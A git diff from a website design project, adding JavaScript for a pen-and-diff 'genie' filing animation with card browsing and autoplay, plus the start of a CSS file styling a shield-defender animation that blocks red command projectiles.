+ + /* diff 行拆成单字符(初始透明占位),擦/写时字母逐个从笔处飘入落位。 + 落位的 ghost 会转正替换占位符成为流内正式字符,reset 时重建占位 */ + var dlineTexts = []; + function setDiffTexts(r) { + var e = ROUNDS[r].edits; + dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add]; + } + setDiffTexts(0); + var dlineChars = dlines.map(function () { return []; }); + function buildDlineChars() { + dlines.forEach(function (d, di) { + var t = d.querySelector('.dtext'); + t.textContent = ''; + dlineChars[di] = []; + for (var i = 0; i < dlineTexts[di].length; i++) { + var c = el('span', 'dch'); + /* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */ + c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i]; + t.appendChild(c); + dlineChars[di].push(c); + } + }); + } + buildDlineChars(); + + /* 一个字母从舞台 (x0,y0)(笔的擦/写位置)飘到 diff 行目标字符位。 + 落位后转正:替换占位符成为流内正式字符——genie 收纸时文字随纸一起变形; + 首个落位字符触发行容器(红/绿底色)淡入:底色与文字同步,不先于文字出现 */ + function flyChar(x0, y0, chSpan, sr, myGen) { + sr = stageRect(); /* 现场重测,同 toLocal:与 to 同刻,滚动不歪 */ + var to = chSpan.getBoundingClientRect(); + var g = el('span', 'dch-ghost'); + g.textContent = chSpan.textContent; + g.style.color = getComputedStyle(chSpan).color; + g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)'; + stage.appendChild(g); + void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */ + g.style.transform = 'translate(' + ((to.left - sr.left) / curScale).toFixed(1) + 'px,' + ((to.top - sr.top) / curScale).toFixed(1) + 'px)'; + g.addEventListener('transitionend', function handler() { + g.removeEventListener('transitionend', handler); + if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; } + /* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符,同帧完成无跳变 */ + g.style.cssText = ''; + g.className = 'dch is-lit'; + var row = chSpan.parentNode; /* .dtext */ + var dline = row.parentNode; /* .dline */ + row.replaceChild(g, chSpan); + /* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */ + dline.classList.add('is-shown'); + }); + } + + function applyWidths() { + lines.forEach(function (l) { + l.style.width = l.dataset.w + '%'; + }); + } + + function reset() { + gen += 1; + disableBrowse(); + pen.classList.remove('is-writing'); + penPos.classList.remove('is-live'); + lines.forEach(function (l) { + l.classList.remove('is-new'); + l.style.opacity = ''; + }); + lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; }); + applyWidths(); + setDiffTexts(0); + diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */ + dlines.forEach(function (d) { d.classList.remove('is-shown'); }); + Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); }); + buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */ + Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); }); + diffView.style.clipPath = ''; + diffView.style.transform = ''; + diffView.style.transformOrigin = ''; + diffView.style.opacity = ''; + diffView.style.visibility = ''; + diffView.classList.remove('is-sheet'); + void diffView.offsetWidth; + diffView.classList.remove('no-fade'); + /* 收件箱始终显示,不在重置时隐藏 */ + pen.classList.remove('is-erasing'); + pen.style.transform = ''; + penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */ + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */ + penPos.classList.remove('is-live'); + } + + /* 改写一行:飞向行右端同时倒转笔换到橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 边转回边滑到书写位 → 新行从笔尖长出 */ + async function rewriteLine(line, newW, delDline, addDline, myGen) { + var sr = stageRect(); + var oldW = parseFloat(line.dataset.w); + + // 1) 飞行倒笔一步到位:飞向行右端的同时顺时针转 90° + 滑移换端,到达时橡皮恰好按到线上 + // (擦除姿态为「左上—右下」:橡皮在右下接触线,笔身朝左上,与写字的「左下—右上」镜像区分) + // (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate) + // (同步块内连续 setPen/transform 不触发渲染,借此算出精确的起止 translate) + pen.classList.add('is-erasing'); + penPos.classList.add('is-live'); + var t0 = lineTip(line, sr); + var fromX = penTx, fromY = penTy; + pen.style.transform = 'rotate(90deg)'; + eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */ + var toX = penTx, toY = penTy; + pen.style.transform = ''; + setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */ + await tween(540, function (p) { + var e = easeInOut(p); + pen.style.transform = 'rotate(' + (90 * e).toFixed(1) + 'deg)'; + setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e); + }, myGen); + + // 3) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左) + // 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现 + var delChars = dlineChars[dlines.indexOf(delDline)]; + var dN = delChars.length; + var nextDel = dN - 1; + var eraseMs = Math.round(oldW * 7); + await tween(eraseMs, function (p) { + line.style.width = (oldW * (1 - easeInOut(p))) + '%'; + var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回,±7° + pen.style.transform = 'rotate(' + (90 + wob).toFixed(1) + 'deg)'; + var t = lineTip(line, sr); + eraserTo(t.x, t.y, sr); + while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) { + flyChar(t.x, t.y, delChars[nextDel], sr, myGen); + nextDel--; + } + }, myGen); + + // 5) 回正:翻回 0° 与换端回笔尖融合为一步(线宽已 0,右端即行首),到位即开写; + // 转回 0° 后移除 is-erasing,origin 切回笔尖无跳变 + var home = lineTip(line, sr); + var backFromX = penTx, backFromY = penTy; + pen.style.transform = ''; + nibTo(home.x, home.y, sr); + var backToX = penTx, backToY = penTy; + pen.style.transform = 'rotate(90deg)'; + setPen(backFromX, backFromY); + await tween(300, function (p) { + var e = easeInOut(p); + pen.style.transform = 'rotate(' + (90 * (1 - e)).toFixed(1) + 'deg)'; + setPen(backFromX + (backToX - backFromX) * e, backFromY + (backToY - backFromY) * e); + }, myGen); + pen.classList.remove('is-erasing'); + pen.style.transform = ''; + + // 6) 写上绿色新内容:笔尖跟随右端,is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右) + pen.classList.add('is-writing'); + var addChars = dlineChars[dlines.indexOf(addDline)]; + var aN = addChars.length; + var nextAdd = 0; + var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写) + await tween(writeMs, function (p) { + line.style.width = (newW * easeOut(p)) + '%'; + nibToLineTip(line, sr); + while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) { + var t2 = lineTip(line, sr); + flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen); + nextAdd++; + } + }, myGen); + pen.classList.remove('is-writing'); + } + + /* genie 收盒 · 裁切式:文件卡片始终是同一个 DOM 元素,不切片、不缩放内容—— + 每帧把 S 曲线轮廓(底部先收窄、侧边弧线、顶部后动)算成 path(fill 纸色+描边跟随), + 裁掉轮廓外的部分(裁切不压缩,内容全程原样清晰); + 文字随轮廓中心移动、矢量缩小字号;终态轮廓恰好是插在盒口的小矩形。 + 三轮播完后动画可逆:点击盒内卡片按原路径倒出查看(genieRun dir=-1)。 */ + + /* genie 时序:塞入/倒出共用。833/533(= 原 1000/640 再提 1.2 倍速,相位结构不变) */ + var GENIE_TOTAL = 833; + var GENIE_SLICE = 533; + var GENIE_MAXDELAY = GENIE_TOTAL - GENIE_SLICE; + + /* genie 几何参数:收盒时算一次缓存到 flight._geom,倒出时原样复用 */ + function computeGenieGeom(flight, r) { + var sr = stageRect(); + var br = toLocal(boxBack.getBoundingClientRect(), sr); + var px = +flight.dataset.px, py = +flight.dataset.py; + var W = +flight.dataset.w, H = +flight.dataset.h; + /* 盒口中心(stage 坐标):图标 y=12/24 处为盒口前缘线 */ + var mouthX = br.left + br.width / 2; + /* 收盒顺序 3→2→1:第一轮收最里面,最后一轮收最前(后收的挡先收的) */ + var spec = FILED_SPECS[FILED_SPECS.length - 1 - r]; + var sinkY = spec.bottomY - (py + H); + return { + W: W, H: H, sinkY: sinkY, + centerDx: mouthX - (px + W / 2), + minS: (br.width * spec.wRatio) / W, + compressH: spec.topY - py - sinkY + }; + } + + /* genie 单帧:按相位 p(0=封面原位,1=盒口终态)画 S 曲线轮廓、定位随动文字。 + 正放收盒与倒放倒出共用(倒放只是 p 从 1 走回 0);返回轮廓包围盒。 */ + function genieFrame(flight, g, p) { + var shape = flight._shapeEl; + var name = flight._nameEl; + var stat = flight._statEl; + var W = g.W, H = g.H, sinkY = g.sinkY, centerDx = g.centerDx; + var minS = g.minS, compressH = g.compressH; + /* 交错相位运动:底部先动先快,顶部延迟;侧边 72 段采样(≈1.6px/段)平滑无锯齿 */ + var N = 72; + var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */ + var now = p * GENIE_TOTAL; + var L = [], R = []; + var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9; + for (var i = 0; i < N; i++) { + var v = (i + 0.5) / N; + var start = (1 - v) * GENIE_MAXDELAY; + var q = Math.min(Math.max((now - start) / GENIE_SLICE, 0), 1); + var e = easeInOut(q); + var sx = 1 - (1 - minS) * e; + var ty = (sinkY + (1 - v) * compressH) * e; + var tx = centerDx * e; + var lw = W * sx; + var lx = (W - lw) / 2 + tx, rx = lx + lw; + var yt = i * H / N + ty, yb = (i + 1) * H / N + ty; + L.push([lx, yt], [lx, yb]); + R.push([rx, yt], [rx, yb]); + if (lx < minX) minX = lx; + if (rx > maxX) maxX = rx; + if (yt < minY) minY = yt; + if (yb > maxY) maxY = yb; + } + /* 拼圆角多边形:四角 Q 贝塞尔(控制点=角点),角区两侧各截 RR 长—— + 顶/底边内缩 RR,侧边从 ±RR 处起笔(落在角区内的端部小段跳过/截断)。 + 这样 Q 跨距 RR×RR,等效圆角与端点 roundedRectD 的 r=3.5 圆弧视觉一致; + 早前版本侧边只跨一个切片(H/N≈1.7px),Q 被压成 ~1px 微圆角≈直角, + 倒放到位切换 roundedRectD 时圆角瞬间跳变(bug)。 */ + var f = function (n) { return n.toFixed(1); }; + var lt = L[0], rt = R[0]; + var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1]; + var RRe = Math.min(RR, (rt[0] - lt[0]) / 2, (rbN[0] - lbN[0]) / 2, (lbN[1] - lt[1]) / 2); + var rtIn = lt[1] + RRe, rbIn = rbN[1] - RRe; /* 右侧:上角区下沿 / 下角区上沿 */ + var ltIn = lt[1] + RRe, lbIn = lbN[1] - RRe; /* 左侧:上角区下沿 / 下角区上沿 */ + var d = 'M' + f(lt[0] + RRe) + ',' + f(lt[1]); + d += ' L' + f(rt[0] - RRe) + ',' + f(rt[1]); + d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rt[0]) + ',' + f(rtIn); /* 右上 */ + for (var i = 0; i < N; i++) { + var u2 = R[i * 2], d2 = R[i * 2 + 1]; + if (d2[1] <= rtIn || u2[1] >= rbIn) continue; /* 整段落在角区内 */ + var ax = u2[0], ay = u2[1], bx = d2[0], by = d2[1]; + if (ay < rtIn) { var s = (rtIn - ay) / (by - ay); ax += (bx - ax) * s; ay = rtIn; } + if (by > rbIn) { var s2 = (rbIn - ay) / (by - ay); bx = ax + (bx - ax) * s2; by = rbIn; } + d += ' L' + f(ax) + ',' + f(ay); + d += ' L' + f(bx) + ',' + f(by); + } + d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RRe) + ',' + f(rbN[1]); /* 右下 */ + d += ' L' + f(lbN[0] + RRe) + ',' + f(lbN[1]); /* 底边 */ + d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(lbN[0]) + ',' + f(lbIn); /* 左下 */ + for (var j = N - 1; j >= 0; j--) { + var dn = L[j * 2 + 1], up = L[j * 2]; + if (dn[1] <= ltIn || up[1] >= lbIn) continue; /* 整段落在角区内 */ + var cx2 = dn[0], cy2 = dn[1], dx2 = up[0], dy2 = up[1]; + if (cy2 > lbIn) { var s3 = (lbIn - dy2) / (cy2 - dy2); cx2 = dx2 + (cx2 - dx2) * s3; cy2 = lbIn; } + if (dy2 < ltIn) { var s4 = (ltIn - cy2) / (dy2 - cy2); dx2 = cx2 + (dx2 - cx2) * s4; dy2 = ltIn; } + d += ' L' + f(cx2) + ',' + f(cy2); + d += ' L' + f(dx2) + ',' + f(dy2); + } + d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RRe) + ',' + f(lt[1]); /* 左上 */ + d += ' Z'; + shape.setAttribute('d', d); + /* 文字随轮廓中心移动、矢量缩小字号。 + font-size 必须内联 style:presentation attribute 优先级低于 CSS 规则,会被压住 */ + var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2; + var sc = (maxX - minX) / W; + /* 字号双保险:随收窄等比缩,且不超过卡片宽能放下的上限(mono 字宽 ≈0.62em) */ + var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62); + var fs1 = Math.min(Math.max(15 * sc, 7), fsFit); + var fs2 = Math.max(11 * sc, 7); + name.setAttribute('x', cx); + name.setAttribute('y', cy - 2); + name.style.fontSize = fs1.toFixed(1) + 'px'; + stat.setAttribute('x', cx); + stat.setAttribute('y', cy + fs2 + 2); + stat.style.fontSize = fs2.toFixed(1) + 'px'; + return { x: minX, y: minY, w: maxX - minX, h: maxY - minY }; + } + + /* genie 正放(收盒 dir=1)/ 倒放(倒出 dir=-1):同一套帧函数双向驱动 */ + async function genieRun(myGen, flight, dir) { + var g = flight._geom; + var lastBox = null; + await tween(GENIE_TOTAL, function (p) { + lastBox = genieFrame(flight, g, dir > 0 ? p : 1 - p); + }, myGen); + /* 端点定格为精确圆角矩形(收盒=盒口堆叠小卡;倒出=完整封面),消除折线近似 */ + if (dir > 0) { + flight._shapeEl.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5)); + flight._lastBox = lastBox; + } else { + flight._shapeEl.setAttribute('d', roundedRectD(0, 0, g.W, g.H, 3.5)); + } + } + + async function genieIntoBox(myGen, r, flight) { + flight._geom = computeGenieGeom(flight, r); + var g = flight._geom; + flight.style.height = (g.H + g.sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */ + await genieRun(myGen, flight, 1); + } + + /* SVG 工具:SVG 元素必须用 createElementNS 创建(createElement 建的不渲染) */ + var SVG_NS = 'http://www.w3.org/2000/svg'; + function svgEl(tag, cls) { + var e = document.createElementNS(SVG_NS, tag); + if (cls) e.setAttribute('class', cls); + return e; + } + + /* 圆角矩形 path(初始封面与终态卡片用;genie 期间为直边多边形) */ + function roundedRectD(x, y, w, h, r) { + return 'M' + (x + r) + ',' + y + + ' L' + (x + w - r) + ',' + y + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) + + ' L' + (x + w) + ',' + (y + h - r) + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) + + ' L' + (x + r) + ',' + (y + h) + + ' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) + + ' L' + x + ',' + (y + r) + + ' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z'; + } + + /* 收盒前:文件卡片(SVG:path 纸色+描边,text 文件名+统计)渐变出现, + diff 内容直接消失;卡片是 SVG 单元素——描边跟随 path 轮廓(S 曲线斜边也有) */ + async function showFileCover(r, myGen) { + var sr = stageRect(); + var pr = toLocal(diffView.getBoundingClientRect(), sr); + var px = pr.left, py = pr.top; + var W = pr.width, H = pr.height; + var flight = svgEl('svg', 'file-flight'); + flight.style.left = px + 'px'; + flight.style.top = py + 'px'; + flight.style.width = W + 'px'; + flight.style.height = H + 'px'; + /* 创建即设层级(先收最里 21,后收在前):封面期就必须在 diffView(z20) 之上 */ + flight.style.zIndex = String(21 + r); + flight.dataset.px = px; flight.dataset.py = py; + flight.dataset.w = W; flight.dataset.h = H; + var shape = svgEl('path', 'file-flight-shape'); + shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5)); + var name = svgEl('text', 'file-cover-name'); + name.setAttribute('x', W / 2); + name.setAttribute('y', H / 2 - 3); + name.setAttribute('text-anchor', 'middle'); + name.textContent = ROUNDS[r].file; + var stat = svgEl('text', 'file-cover-stat'); + stat.setAttribute('x', W / 2); + stat.setAttribute('y', H / 2 + 14); + stat.setAttribute('text-anchor', 'middle'); + var add = svgEl('tspan', 'add'); add.textContent = '+2'; + var del = svgEl('tspan', 'del'); del.textContent = ' -2'; + stat.appendChild(add); + stat.appendChild(del); + flight.appendChild(shape); + flight.appendChild(name); + flight.appendChild(stat); + flight._shapeEl = shape; flight._nameEl = name; flight._statEl = stat; /* genie 帧渲染复用,免每帧 querySelector */ + stage.appendChild(flight); + getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式;getComputedStyle 才强制样式计算,定格 opacity 0 */ + flight.classList.add('is-on'); + await step(800, myGen); /* 等封面渐变动画完全结束(730ms + 余量) */ + diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */ + return flight; + } + + /* 下轮 diff 内容就位:no-fade 禁用过渡——移除 is-shown 与恢复显示若同帧, + 红绿底色会以 0.3s 淡出形式闪一下(有底色无文字);禁用后瞬时消失,无残影 */ + function resetDiffForRound(r) { + setDiffTexts(r); + diffView.classList.add('no-fade'); + dlines.forEach(function (d) { d.classList.remove('is-shown'); }); + diffView.classList.remove('is-sheet'); + buildDlineChars(); + diffView.style.visibility = ''; + diffView.style.opacity = ''; /* 恢复渐隐前的可见(no-fade 下瞬间生效,无闪) */ + void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */ + diffView.classList.remove('no-fade'); + } + + /* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */ + async function refillPaper(r, myGen) { + paper.classList.add('is-refilling'); + await step(300, myGen); + lines.forEach(function (l, i) { + l.classList.remove('is-new'); + l.dataset.w = ROUNDS[r].paperW[i]; + }); + applyWidths(); + paper.classList.remove('is-refilling'); + await step(400, myGen); + } + + /* ───── 三轮收盒后:盒内卡片可交互 ───── + hover 微微向上抬+向右倾(选中感);点击倒放 genie 倒出卡片,内容渐变为该轮 diff; + 再点(或点空白)正放收回——可反复查看。热区是独立 div:SVG 卡片本体 + pointer-events 为 none,且三层卡只露出顶边一截;热区按各卡露出顶边条带定位, + 重叠区归层级更高的(更靠前的卡),与视觉所见一致。 */ + var flights = []; + var hotspots = []; + var replayDiffEl = null; + var browse = { active: false, opened: -1, busy: false }; + + /* 热区底边统一延伸到盒口前缘略下(前缘 214 + 凹口上段): + 最前卡的可见区本就一直延伸到这里;三张卡热区互相重叠的部分由 z-index 自然归更靠前的卡,与视觉一致 */ + var CARD_HOT_BOTTOM = 220; + + function enableBrowse() { + browse.active = true; + flights.forEach(function (flight, r) { + if (!flight || !flight._lastBox) return; + var lb = flight._lastBox; + var hot = el('div', 'card-hotspot'); + var topPx = +flight.dataset.py + lb.y; + hot.style.left = (+flight.dataset.px + lb.x) + 'px'; + hot.style.top = topPx + 'px'; + hot.style.width = lb.w + 'px'; + hot.style.height = (CARD_HOT_BOTTOM - topPx) + 'px'; + hot.style.zIndex = String(31 + r); + hot.addEventListener('mouseenter', function () { + if (browse.busy || browse.opened === r) return; + flight.classList.add('is-hover'); + }); + hot.addEventListener('mouseleave', function () { + flight.classList.remove('is-hover'); + }); + hot.addEventListener('click', function (ev) { + ev.stopPropagation(); + pauseAutoplay(); /* 按下卡片:暂停轮播 5 秒,点哪张看哪张 */ + onCardClick(r); + }); + stage.appendChild(hot); + hotspots.push(hot); + }); + /* 收盒完成,停 2 秒让观众看清堆叠结果,再自动开始轮播 */ + var g = gen; + rafWait(2000).then(function () { if (browse.active && g === gen) startAutoplay(); }); + } + + function disableBrowse() { + stopAutoplay(); + browse.active = false; + browse.opened = -1; + browse.busy = false; + pendingCardClick = -1; + hotspots.forEach(function (h) { h.parentNode && h.parentNode.removeChild(h); }); + hotspots = []; + flights = []; + removeReplayDiff(); + } + + async function onCardClick(r) { + /* 点已展开的卡:无操作(轮播中先停轮播,走到这保持展开) */ + if (browse.opened === r && !autoplay.on) return; + /* 切换动画进行中点击:记录意图,当前动画完成后执行(不被 busy 吞掉) */ + if (browse.busy) { pendingCardClick = r; return; } + browse.busy = true; + pendingCardClick = -1; + try { + /* 已有展开卡:收回与倒出同时进行(一个塞回、一个倒出,视觉上是交换而非先后)。 + opened 先占位新卡,两路动画各自驱动各自的 flight,互不干扰 */ + var prev = browse.opened; + browse.opened = r; + var tasks = [openCardInner(r)]; + if (prev >= 0) tasks.push(closeCardInner(prev)); + await Promise.all(tasks); + } catch (e) { + if (e && e.message !== 'cancelled') throw e; + } + browse.busy = false; + if (pendingCardClick >= 0) { + var p = pendingCardClick; + pendingCardClick = -1; + onCardClick(p); + } + } + + /* 倒出卡片:倒放 genie;最后 350ms 封面文字淡出、该轮 diff 逐行淡入(并行收尾) */ + async function openCardInner(r) { + var myGen = gen; + var flight = flights[r]; + browse.opened = r; + flight.classList.remove('is-hover'); + if (hotspots[r]) hotspots[r].style.display = 'none'; + var pouring = genieRun(myGen, flight, -1); + await step(GENIE_TOTAL - 350, myGen); + flight.classList.add('is-bare'); + showReplayDiff(r); + await pouring; + } + + /* 收回卡片 r:diff 快速淡出 + 封面文字淡回,随后正放 genie 回盒。 + 只负责收回本身,不碰 browse.opened(由调用方管理,支持收回/倒出并行) */ + async function closeCardInner(r) { + var myGen = gen; + var flight = flights[r]; + if (replayDiffEl) { + var d = replayDiffEl; + replayDiffEl = null; + d.classList.add('is-closing'); + setTimeout(function () { d.parentNode && d.parentNode.removeChild(d); }, 260); + } + flight.classList.remove('is-bare'); + await step(160, myGen); + await genieRun(myGen, flight, 1); + if (hotspots[r]) hotspots[r].style.display = ''; + } + + /* 展开后的 diff 层:位置同 diffView(卡片倒出落点),四行逐行淡入;点击它即收回 */ + function showReplayDiff(r) { + removeReplayDiff(); + var e = ROUNDS[r].edits; + var rows = [ + { t: e[0].del, c: 'is-del', s: '-' }, + { t: e[0].add, c: 'is-add', s: '+' }, + { t: e[1].del, c: 'is-del', s: '-' }, + { t: e[1].add, c: 'is-add', s: '+' } + ]; + var d = el('div', 'replay-diff'); + rows.forEach(function (row, i) { + var line = el('div', 'dline is-shown ' + row.c); + line.style.transitionDelay = (i * 70) + 'ms'; + var sign = el('span', 'dsign'); sign.textContent = row.s; + var text = el('span', 'dtext'); text.textContent = row.t; + line.appendChild(sign); + line.appendChild(text); + d.appendChild(line); + }); + d.addEventListener('click', function (ev) { + ev.stopPropagation(); + closeOpenedCard(); + }); + stage.appendChild(d); + getComputedStyle(d).opacity; /* 强制样式计算:起始 opacity 0 定格后再开过渡 */ + d.classList.add('is-on'); + replayDiffEl = d; + } + + function removeReplayDiff() { + if (replayDiffEl) { replayDiffEl.parentNode && replayDiffEl.parentNode.removeChild(replayDiffEl); replayDiffEl = null; } + } + + function closeOpenedCard() { + pauseAutoplay(); /* 用户手动收回卡片:同样暂停轮播 5 秒 */ + if (browse.busy || browse.opened < 0) return; + browse.busy = true; + var r = browse.opened; + browse.opened = -1; + closeCardInner(r).then(function () { browse.busy = false; }, function (err) { + browse.busy = false; + if (err && err.message !== 'cancelled') throw err; + }); + } + + /* ───── 自动轮播:收盒完成后自动开始,循环倒出/收回三张卡的详情; + 用户按下卡片(或手动收回)暂停 5 秒,之后自动恢复 ───── */ + var AUTOPLAY_DWELL = 4000; /* 每次切换间隔(倒出 833ms + diff 淡入 + 阅读停留) */ + var AUTOPLAY_PAUSE_MS = 5000; /* 用户操作后暂停轮播的时长 */ + var autoplay = { on: false, timer: null, resumeTimer: null, idx: -1 }; + var pendingCardClick = -1; + + function startAutoplay() { + if (!browse.active || autoplay.on) return; + autoplay.on = true; + autoplay.idx = browse.opened; /* 从当前展开卡的下一张开始;无展开则从第 1 张开始 */ + autoplayTick(); + } + + /* 彻底停止(重播/卸载时):连恢复计时一起清。 + timer 是标识对象而非 setTimeout id——轮播间隔由 rafWait 驱动,回调比对引用失效即放弃 */ + function stopAutoplay() { + autoplay.on = false; + autoplay.timer = null; + if (autoplay.resumeTimer) { clearTimeout(autoplay.resumeTimer); autoplay.resumeTimer = null; } + } + + /* 暂停 5 秒(用户操作时):期间轮播不动作,5 秒后自动恢复 */ + function pauseAutoplay() { + autoplay.on = false; + autoplay.timer = null; + if (autoplay.resumeTimer) clearTimeout(autoplay.resumeTimer); + autoplay.resumeTimer = setTimeout(function () { + autoplay.resumeTimer = null; + if (browse.active) startAutoplay(); + }, AUTOPLAY_PAUSE_MS); + } + + function autoplayTick() { + if (!autoplay.on) return; + autoplay.idx = (autoplay.idx + 1) % flights.length; + onCardClick(autoplay.idx); + var t = autoplay.timer = {}; + rafWait(AUTOPLAY_DWELL).then(function () { + if (autoplay.on && autoplay.timer === t) autoplayTick(); + }); + } + + async function play() { + var myGen = ++gen; + try { + for (var r = 0; r < ROUNDS.length; r++) { + // 0) 首轮等待开场(后续轮的纸面换新已并入上一轮收盒期间并行完成,无需等待) + if (r === 0) { + await step(650, myGen); + } + + // 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出(diff 实时构建) + await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen); + await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen); + + // 2) 笔飞回智能体右侧(不再空等:飞行 500ms 与封面渐现 520ms 并行重叠) + penPos.classList.remove('is-live'); + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + + // 3) 收件箱始终显示(页面加载即在,无淡入步骤) + + // 4) 文件卡片渐变出现(diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前) + var flight = await showFileCover(r, myGen); + flights[r] = flight; + if (r < ROUNDS.length - 1) { + // 5) 收盒与下一轮内容浮现同时进行:diff 区在封面下瞬时重建(不可见), + // 纸面淡出旧行、淡入新行——卡片插进盒子时,下一轮的内容已就位 + resetDiffForRound(r + 1); + var collecting = genieIntoBox(myGen, r, flight); + await refillPaper(r + 1, myGen); + await collecting; + } else { + await genieIntoBox(myGen, r, flight); + // 6) 末轮三张卡全部收盒后,进入可查看交互(hover 微倾/点击倒出) + enableBrowse(); + } + } + } catch (e) { + if (e && e.message !== 'cancelled') throw e; + } + } + + /* stage 空白点击只承担「收回展开卡」(轮播由 pauseAutoplay 暂停) */ + stage.addEventListener('click', function () { + if (browse.active && browse.opened >= 0) closeOpenedCard(); + }); + + updateScale(); + applyWidths(); + penPos.classList.add('is-live'); /* 初始就位瞬移 */ + nibTo(PEN_HOME.x, PEN_HOME.y, stageRect()); + void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */ + penPos.classList.remove('is-live'); + /* 进入视口才开始播放:页面打开时用户可能还没滚到功能区,避免错过开场 */ + var started = false; + var io = new IntersectionObserver(function (entries) { + if (!started && entries[0].isIntersecting) { + started = true; + io.disconnect(); + play(); + } + }, { threshold: 0.3 }); + io.observe(container); + } + + return { init: init }; +})(); diff --git a/website-design/exp/site-assets/anim-sandbox.css b/website-design/exp/site-assets/anim-sandbox.css new file mode 100644 index 00000000..82df6db6 --- /dev/null +++ b/website-design/exp/site-assets/anim-sandbox.css @@ -0,0 +1,111 @@ +/* 沙箱与网络授权动画 —— 场景样式(主页 feature 行 / anim2-demo 页共用) + 无边框无底色,融于星空;无 glow。恶意命令红 --danger 定义在 .anim2-window 作用域。 */ + +/* ───────── 动画容器 ───────── */ + +.anim2-window { + --danger: #d47b6b; /* 恶意命令红,仅本动画作用域 */ + width: 100%; + height: 100%; + display: flex; + flex-direction: column; +} + +/* ───────── 场景区 ───────── */ + +.anim2-stage { + position: relative; + flex: 1; + overflow: hidden; +} + +/* 防御者:右侧,六边形 + 盾牌(尺寸与 04 版本控制的智能体一致:70×70) */ +.defender { + position: absolute; + right: 36px; + bottom: 26px; + width: 70px; + height: 70px; +} +.defender-avatar { + display: block; + width: 70px; + height: 70px; + color: var(--text-1); +} +.defender-avatar .astrion-avatar { width: 100%; height: 100%; } + +/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */ +.defender-shield { + position: absolute; + left: -19px; /* 与角色同比例(96→70,×0.729)等比缩小 */ + top: -9px; + width: 51px; + height: 51px; + color: var(--accent); + fill: var(--bg-1); + transform: rotate(24deg); +} + +/* 盾牌/智能体受击后坐回弹 */ +@keyframes defender-brace { + 0% { transform: translateX(0); } + 30% { transform: translateX(5px); } + 60% { transform: translateX(-1.5px); } + 100% { transform: translateX(0); } +} +.defender.is-hit { animation: defender-brace 0.34s ease; } + +/* ───────── 飞行中的命令块 ───────── */ + +.cmd-projectile { + position: absolute; + left: 0; + top: 0; + font-family: var(--font-mono); + font-size: 13.5px; + font-weight: 600; + color: var(--danger); + white-space: nowrap; + will-change: transform; + /* 装填入场只动透明度:fill both 保持 transform 会压住 JS 逐帧位移动画 */ + animation: cmd-load 0.4s ease both; +} +@keyframes cmd-load { + from { opacity: 0; } + to { opacity: 1; } +} + +/* ───────── 字符碎片(撞击后炸开) ───────── */ + 